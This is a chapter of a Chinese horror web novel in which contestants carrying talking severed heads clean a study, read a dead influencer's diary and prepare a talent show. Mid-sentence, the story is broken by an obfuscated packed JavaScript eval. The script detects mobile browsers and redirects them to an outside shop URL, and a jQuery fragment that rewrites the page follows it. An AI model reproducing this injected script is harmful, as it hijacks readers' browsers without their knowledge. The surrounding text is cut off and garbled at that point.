书房里，周笔灰和顾辉负责打扫。


    房间三面墙都是书架，从地板延伸到天花板，书籍密密麻麻排列。


    空气中有旧纸和灰尘的味道。


    周笔灰擦拭书架，顾辉清理地面。


    周笔灰的疤痕头颅在袋中开口：“你擦得很仔细。”


    周笔灰不答，继续擦拭。他从左到右，从上到下，每一本书的书脊都仔细擦过。


    “但仔细有什么用？打扫卫生这件事并不在评价分数当中。”


    周笔灰的手停了下来。他看着手中的抹布，已经脏成灰色。


    “你害怕评价吗？”


    周笔灰沉默。


    他继续擦拭，动作更快，仿佛加快速度就能逃避问题。


    “你害怕。你害怕得低分，害怕不被认可，害怕失败。”


    周笔灰握紧抹布，指节发白。


    “但你假装不在乎。你装成冷漠的样子，装成什么都不在乎。但我知道，你在乎。你在乎得要命。”


    周笔灰转身怒视袋中头颅：“你个破玩意，到底想怎样？”


    “我想看你真实的样子。”


    “你大爷……这就是我真实的样子。”


    “不，这不是。你真实的样子是脆弱的，是害怕的，是需要被爱的。但你不敢承认，因为承认脆弱就意味着可能受伤。”


    周笔灰嘴唇颤抖，想说却说不出口。


    他明明很讨厌这个头颅，甚至想出手暴打。但是也不自觉陷入对童年创伤的回想。


    他想起小时候，摔倒了不哭，因为父亲说“男孩子要坚强”。，考差了不哭，因为母亲说“哭解决不了问题”。，失恋了不哭，因为朋友说“为那种人不值得”。


    明知道是这大脑袋在PUA。


    但他却做不到把情绪压下去。


    顾辉的黄毛头颅在袋中说：“你们聊得挺热闹。”


    顾辉正用吸尘器清理地面，闻言抬头：“闭嘴。”


    “我说，你们聊得挺热闹。不像我，没人跟我聊天。”


    顾辉关掉吸尘器，看着袋中头颅：“你看你什么吊样，谁会想聊什么？”


    “你想和我聊。”


    顾辉冷笑一声，“我没什么好聊的。”


    “你有。你有很多故事，但你不敢说。你把自己包装成‘不在乎’的样子，但你比谁都在乎。”


    顾辉不语。


    他重新打开吸尘器继续清理，动作却慢了下来，显得心不在焉。吸尘器在地毯上移动，发出单调的嗡鸣。


    打扫中途，顾辉在书架角落发现一本日记。


    日记本很旧，深蓝色皮革封面已经磨损，边缘泛白。


    封面上没有名字，只有烫金的“日记”二字。


    他犹豫了一下，翻开扉页。


    第一页写着：“1998年9月1日，今天开始记录。父亲说，成功人士都有日记习惯。他说，记录能让人反思进步。我不知道要写什么，但父亲说必须写。”


    字迹工整，像小学生的笔迹。


    顾辉快速翻阅。


    日记记录了郑楚文从十岁到二十五岁的生活：


    “1999年3月12日：今天数学考了98分，父亲说不够。他说必须满分。我哭了，他说眼泪是弱者的表现。”


    “2002年7月8日：暑假开始了。其他孩子去玩，我要上六个培训班。钢琴、英语、礼仪、演讲、高尔夫、马术。父亲说，这些都是必要的投资。”


    “2005年11月3日：今天第一次直播。父亲教我如何微笑——嘴角上扬15度，眼睛微眯，露出八颗牙齿。我练习了三小时，脸都僵了。但父亲说很好，观众喜欢。”


    翻到中间，顾辉看到一段话：


    “2008年6月15日，今天直播时，我笑了三个小时。脸都僵了，但观众喜欢。父亲说，要继续保持。但我想问：我什么时候可以不笑


    ？什么时候可以做真实的自己？哪怕真实的自己并不完美，哪怕真实的自己会让人失望。”


    再往后：


    “2010年3月22日，今天见到了李小姐。父亲说，要和她交往，因为李家有我们需要的关系。我不喜欢她，但必须喜欢。因为这是‘剧本’。我的整个人生都是剧本，从出生到死亡，每一句台词、每一个动作、每一个表情，都是写好的。”


    顾辉感到胸口发闷。他继续翻。


    最后一篇日记写道：


    “2023年11月11日，今天是我二十五岁生日。拍摄了八小时，收到了无数礼物和祝福。但我知道，没有一个是给我的，都是给‘郑楚文’这个角色的。我想知道：真正的我在哪里？我还存在吗？或者，我从来就没有存在过，只是一个被扮演的角色？”


    日记到此结束。


    后面全是空白页，像等待填写的未来。只是写日记的人已死，永远不会有未来。


    顾辉合上日记，心情沉重。


    他将日记放回原处，继续打扫，但心思已飘远。


    他想起自己的直播，为了在这间鬼屋活下去，那些夸张的表情，那些设计好的台词，那些为了流量而做的表演。


    他和郑楚文，有什么区别？


    下午五点，打扫终于结束。


    七人累得几乎站不稳，拖着脚步回到佣人区。


    老头出现，带他们回房间。


    “一小时后，餐厅见。今晚有特别安排。”


    黄羽翎回到房间，浴室里挂着另一套晚礼服。


    这次是白色蕾丝边，长裙曳地，袖口和领口缀着细小的珍珠。看起来纯洁典雅，像新娘的礼服。


    她洗完澡换上礼服，走向镜子。


    镜中女子穿着白色礼服，妆容淡雅，黑发披肩，显得纯洁美丽。但眼睛下的黑眼圈用再多粉底也遮不住，嘴角的疲惫用再艳的口红也盖不住。


    手提袋放在梳妆台上，瘦削头颅睁着眼睛，静静看着她。


    “你很美。”头颅说。


    黄羽翎苦笑：“假的。”


    “但假的美也是美。”


    “我不想要假的美。”


    “那你想要什么？”


    黄羽翎看着镜中的自己，沉默许久，试图猜测头颅想要的答案。


    她轻声说：“我想要真实。哪怕真实是丑陋的。”


    这一次，黄羽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231646|177457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    翎的头颅笑了笑没说话。


    七点，七人准时出现在餐厅。


    每个人都换上晚礼服，比昨日更加华丽，但眼神却愈发疲惫，像精心包装的礼物，里面却是空的。


    老头站在餐厅中央，拍了拍手。


    “今晚直播有特别要求。你们要表演‘才艺’。唱歌、跳舞、乐器、朗诵——任选一项，但必须表演。”


    七人愣住。


    “才艺？”龙琴书声音发颤，“我不会……”


    “必须会。”老头面无表情，“八点到十点，餐厅集合，轮流表演。头颅会评判。”


    说完，老头离开餐厅。


    七人面面相觑，空气凝固了几秒。


    “怎么办？”朱志明小声问，“我什么都不会。”


    “我也不会。”顾辉说。


    “我会一点钢琴，”叶温缇说，“但弹得不好，很久没练了。”


    “我会跳舞，”郑琳达说，“但不是什么高雅舞蹈，是街舞。”


    黄羽翎沉默。


    她会一点古筝，是小时候母亲逼着学的。


    母亲说：“女孩子要会点乐器，显得有教养。”


    她学了三年，考了级，然后再也没有碰过。


    周笔灰开口：“随便表演吧，反正只是走个过场。”


    但众人都明白，这绝非走过场那么简单。


    头颅会评判打分，决定他们的命运。


    低分的人可能会死。


    而他们连评判标准是什么都不知道。


    七人各自回房准备。


    黄羽翎在房间里找到一把古筝，放在客厅中央。


    琴身是暗红色的，弦已有些松动。


    她坐下试了试音，手指僵硬，像不属于自己。


    瘦削头颅在袋中看着她：“你会弹古筝？”


    “会一点。”黄羽翎说，“小时候学过。”


    “弹给我听听。”


    黄羽翎深吸一口气，开始弹奏。


    是一首简单的《渔舟唱晚》，但她手指僵硬，弹得断断续续，错音连连。


    “弹得真差。”头颅说。


    黄羽翎的手停住。


    “我说，弹得真差。你根本不会弹。”


    忽地想起死去的母亲，黄羽翎眼泪涌上，强忍住。


    她重新开始弹奏，这次更用力，指甲刮过琴弦发出刺耳的声音。


    “停。”头颅冷淡阴阳道，“你这样表演会得零分。”


    “那你要我怎样？”黄羽翎的声音带着哭腔。


    “放松。你不是在完成任务，是在表达。”


    “表达？”


    “弹琴不是任务，是表达。你要用琴声表达你的情绪、感受和内心。你现在是什么情绪？”


    这个头颅就这么唠叨不停，黄羽翎心烦意乱。


    她冷静下来，思考这颗头颅到底想要什么。


    缓了缓心神，黄羽翎坦诚回答：“害怕。迷茫。孤独。”


    “那就弹害怕，弹迷茫，弹孤独。”


    黄羽翎看着古筝，猛地举高手，不带抗拒心理，按照头颅所说的，将这种悲凉的清爽，倾注在弹奏上。